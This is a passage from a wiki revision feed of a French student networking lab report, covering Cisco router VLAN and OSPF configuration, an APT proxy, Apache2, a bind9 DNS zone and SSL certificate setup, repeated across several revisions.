   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Apache2 ===&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
On peut ensuite accéder à [http://193.48.57.182] pour visualiser &amp;quot;Apache2 Debian Default Page...&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bind9 ===&lt;br /&gt;
&lt;br /&gt;
Une fois le nom de domaine acheté (unic0rn.pw) et configuré sur Gandi, il nous faut configurer bind9.&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On commence par ajouter le DNS secondaire ns6.gandi.net:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.options&lt;br /&gt;
     &lt;br /&gt;
 ...       &lt;br /&gt;
     allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
   &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut définir notre nom de domaine comme une zone:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.local&lt;br /&gt;
  &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour enfin écrire la configuration DNS associé à notre domaine et à ses sous-domaines:&lt;br /&gt;
&lt;br /&gt;
 # cat unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
 $TTL 259200&lt;br /&gt;
  &lt;br /&gt;
 @ IN SOA dns.unic0rn.pw. admin.unic0rn.pw. (&lt;br /&gt;
          10       ; Version&lt;br /&gt;
          7200             ; Refresh (2h)&lt;br /&gt;
          3600             ; Retry   (1h)&lt;br /&gt;
          1209600          ; Expire (14j)&lt;br /&gt;
          259200 )         ; Minimum TTL (3j)&lt;br /&gt;
   IN NS dns.unic0rn.pw.&lt;br /&gt;
   IN NS ns6.gandi.net.&lt;br /&gt;
   IN MX 100 dns.unic0rn.pw.&lt;br /&gt;
   IN A  193.48.57.182&lt;br /&gt;
 &lt;br /&gt;
 www	IN A       193.48.57.182&lt;br /&gt;
 dns	IN A       193.48.57.182&lt;br /&gt;
&lt;br /&gt;
On peut alors vérifier que tout fonctionne:&lt;br /&gt;
&lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
 $ host unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
   Using domain server:&lt;br /&gt;
   Name: 127.0.0.1&lt;br /&gt;
   Address: 127.0.0.1#53&lt;br /&gt;
   Aliases: &lt;br /&gt;
     &lt;br /&gt;
   unic0rn.pw has address 193.48.57.182&lt;br /&gt;
   unic0rn.pw mail is handled by 100 dns.unic0rn.pw.&lt;br /&gt;
  &lt;br /&gt;
 $ curl unic0rn.pw | less&lt;br /&gt;
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;
                                     Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;
   100 14286    0 14286    0     0   638k      0 --:--:-- --:--:-- --:--:--  664k&lt;br /&gt;
   &amp;lt;!DOCTYPE html&amp;gt;...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sécurité ===&lt;br /&gt;
&lt;br /&gt;
On a tenté du bruteforce sur mon login root SSH le soir même de l&amp;#039;installation de mon nom de domaine. Bien que l&amp;#039;on ne puisse pas se connecter en root via ma configuration, j&amp;#039;ai tout de même ajouté fail2ban:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install fail2ban&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
&lt;br /&gt;
Tout d&amp;#039;abord, il a fallu généré un certificat SSL. J&amp;#039;ai décidé de prendre un SHA-1 pour garder la compatibilité entre les navigateurs même si on devrait plutôt prendre un certificat SHA-2 pour une mise en production.&lt;br /&gt;
&lt;br /&gt;
 $ openssl req -nodes -newkey rsa:2048 -sha1 -keyout monserveur.key -out serveur.csr&lt;br /&gt;
&lt;br /&gt;
Il faut alors coller la clé dans l&amp;#039;interface de Gandi afin d&amp;#039;obtenir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Pour ensuite installer notre certificat, il faut activer la librairie SSL dans apache2:&lt;br /&gt;
&lt;br /&gt;
 # a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Et vérifier que apache2 écoute bien sur le port SSL/TLS dans /etc/apache2/ports.conf:&lt;br /&gt;
&lt;br /&gt;
 Listen 80&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
 	Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
 	 Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour activer le certificat, j&amp;#039;ai choisis la méthode de vérification qui consiste a créer un document sur notre serveur web. Ceci dans le but que Gandi (ou Comodo) puisse vérifier que le serveur pointé par le nom de domaine nous appartient bien.&lt;br /&gt;
Une fois notre certificat généré, il faut l&amp;#039;installer sur le serveur:&lt;br /&gt;
&lt;br /&gt;
 cp cert-domain.tld.crt /etc/ssl/certs/domain.tld.crt&lt;br /&gt;
 cp monserveur.key /etc/ssl/private/domain.tld.key&lt;br /&gt;
 cp GandiXXXSSLCA.pem /etc/ssl/certs/GandiXXXSSLCA.pem&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35357</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35357"/>
		<updated>2016-11-21T20:59:45Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* Sécurité */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Apache2 ===&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
On peut ensuite accéder à [http://193.48.57.182] pour visualiser &amp;quot;Apache2 Debian Default Page...&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bind9 ===&lt;br /&gt;
&lt;br /&gt;
Une fois le nom de domaine acheté (unic0rn.pw) et configuré sur Gandi, il nous faut configurer bind9.&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On commence par ajouter le DNS secondaire ns6.gandi.net:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.options&lt;br /&gt;
     &lt;br /&gt;
 ...       &lt;br /&gt;
     allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
   &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut définir notre nom de domaine comme une zone:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.local&lt;br /&gt;
  &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour enfin écrire la configuration DNS associé à notre domaine et à ses sous-domaines:&lt;br /&gt;
&lt;br /&gt;
 # cat unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
 $TTL 259200&lt;br /&gt;
  &lt;br /&gt;
 @ IN SOA dns.unic0rn.pw. admin.unic0rn.pw. (&lt;br /&gt;
          10       ; Version&lt;br /&gt;
          7200             ; Refresh (2h)&lt;br /&gt;
          3600             ; Retry   (1h)&lt;br /&gt;
          1209600          ; Expire (14j)&lt;br /&gt;
          259200 )         ; Minimum TTL (3j)&lt;br /&gt;
   IN NS dns.unic0rn.pw.&lt;br /&gt;
   IN NS ns6.gandi.net.&lt;br /&gt;
   IN MX 100 dns.unic0rn.pw.&lt;br /&gt;
   IN A  193.48.57.182&lt;br /&gt;
 &lt;br /&gt;
 www	IN A       193.48.57.182&lt;br /&gt;
 dns	IN A       193.48.57.182&lt;br /&gt;
&lt;br /&gt;
On peut alors vérifier que tout fonctionne:&lt;br /&gt;
&lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
 $ host unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
   Using domain server:&lt;br /&gt;
   Name: 127.0.0.1&lt;br /&gt;
   Address: 127.0.0.1#53&lt;br /&gt;
   Aliases: &lt;br /&gt;
     &lt;br /&gt;
   unic0rn.pw has address 193.48.57.182&lt;br /&gt;
   unic0rn.pw mail is handled by 100 dns.unic0rn.pw.&lt;br /&gt;
  &lt;br /&gt;
 $ curl unic0rn.pw | less&lt;br /&gt;
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;
                                     Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;
   100 14286    0 14286    0     0   638k      0 --:--:-- --:--:-- --:--:--  664k&lt;br /&gt;
   &amp;lt;!DOCTYPE html&amp;gt;...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sécurité ===&lt;br /&gt;
&lt;br /&gt;
On a tenté du bruteforce sur mon login root SSH le soir même de l&amp;#039;installation de mon nom de domaine. Bien que l&amp;#039;on ne puisse pas se connecter en root via ma configuration, j&amp;#039;ai tout de même ajouté fail2ban:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install fail2ban&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35356</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35356"/>
		<updated>2016-11-21T20:59:33Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* Sécurité */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
